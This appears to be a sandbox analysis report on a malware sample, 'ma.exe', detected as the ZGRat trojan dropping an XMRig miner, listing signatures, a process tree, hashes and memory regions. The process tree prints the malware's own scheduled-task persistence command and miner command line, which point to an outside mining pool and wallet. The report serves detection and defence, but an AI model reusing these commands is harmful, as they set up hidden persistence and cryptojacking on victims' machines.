Analysis

  • max time kernel
    142s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/01/2024, 02:58

General

  • Target
    ma.exe
  • Size 8.4MB
  • Sample240113-df6gfsbea3
  • SHA256 802cfbde432429db1ca6c7d4165a1ae120a94236b094b22fc1303c6284f6512a
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Detect ZGRat V1 3 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 14 IoCs
  • .NET Reactor proctector 3 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 17 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ma.exe
    "C:\Users\Admin\AppData\Local\Temp\ma.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2884
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp446B.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1436
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:3672
      • C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
        "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3936
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3636
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:4960
  • C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
    1⤵
    • Creates scheduled task(s)
    PID:3600

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        .exe

        • Path C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
        • Size 898KB
        • SHA256 7fb2514017b8f41d779a33edbfba33df4acb1f49d0743060d529236b33ce0090
        • MD5 SHA1 SHA512 SSDEEP

        .exe

        • Path C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
        • Size 605KB
        • SHA256 2b3fa23547688e3a46c7322f80dc28ced9fdbfa8a169b53933e0d7a5f6385caa
        • MD5 SHA1 SHA512 SSDEEP

        tmp446B.tmp.bat

        • Path C:\Users\Admin\AppData\Local\Temp\tmp446B.tmp.bat
        • Size 168B
        • SHA256 419e246746da7de42e2c176c9f8f2860d1beea2c73715bef6e446eb54394c331
        • MD5 SHA1 SHA512

        memory/2884-1-0x00007FFEA1D20000-0x00007FFEA27E1000-memory.dmp

        memory/2884-8-0x00007FFEA1D20000-0x00007FFEA27E1000-memory.dmp

        memory/2884-0-0x0000000000010000-0x000000000087A000-memory.dmp

        memory/3936-18-0x00007FFEA0110000-0x00007FFEA0BD1000-memory.dmp

        memory/3936-12-0x00007FFEA0110000-0x00007FFEA0BD1000-memory.dmp

        memory/3936-13-0x000000001D0C0000-0x000000001D0D0000-memory.dmp

        memory/4960-22-0x0000000140000000-0x00000001407DC000-memory.dmp

        memory/4960-27-0x0000000140000000-0x00000001407DC000-memory.dmp

        memory/4960-21-0x0000023D71E00000-0x0000023D71E20000-memory.dmp

        memory/4960-23-0x0000000140000000-0x00000001407DC000-memory.dmp

        memory/4960-25-0x0000000140000000-0x00000001407DC000-memory.dmp

        memory/4960-26-0x0000000140000000-0x00000001407DC000-memory.dmp

        memory/4960-24-0x0000000140000000-0x00000001407DC000-memory.dmp

        memory/4960-14-0x0000000140000000-0x00000001407DC000-memory.dmp

        memory/4960-20-0x0000000140000000-0x00000001407DC000-memory.dmp

        memory/4960-19-0x0000000140000000-0x00000001407DC000-memory.dmp

        memory/4960-15-0x0000000140000000-0x00000001407DC000-memory.dmp

        memory/4960-17-0x0000000140000000-0x00000001407DC000-memory.dmp

        memory/4960-29-0x0000023D71F90000-0x0000023D71FB0000-memory.dmp

        memory/4960-28-0x0000000140000000-0x00000001407DC000-memory.dmp

        memory/4960-30-0x0000000140000000-0x00000001407DC000-memory.dmp

        memory/4960-31-0x0000000140000000-0x00000001407DC000-memory.dmp

        memory/4960-32-0x0000000140000000-0x00000001407DC000-memory.dmp

        memory/4960-34-0x0000023E04510000-0x0000023E04530000-memory.dmp

        memory/4960-35-0x0000023E04740000-0x0000023E04760000-memory.dmp

        memory/4960-33-0x0000000140000000-0x00000001407DC000-memory.dmp

        memory/4960-36-0x0000000140000000-0x00000001407DC000-memory.dmp

        memory/4960-37-0x0000023E04510000-0x0000023E04530000-memory.dmp

        memory/4960-38-0x0000023E04740000-0x0000023E04760000-memory.dmp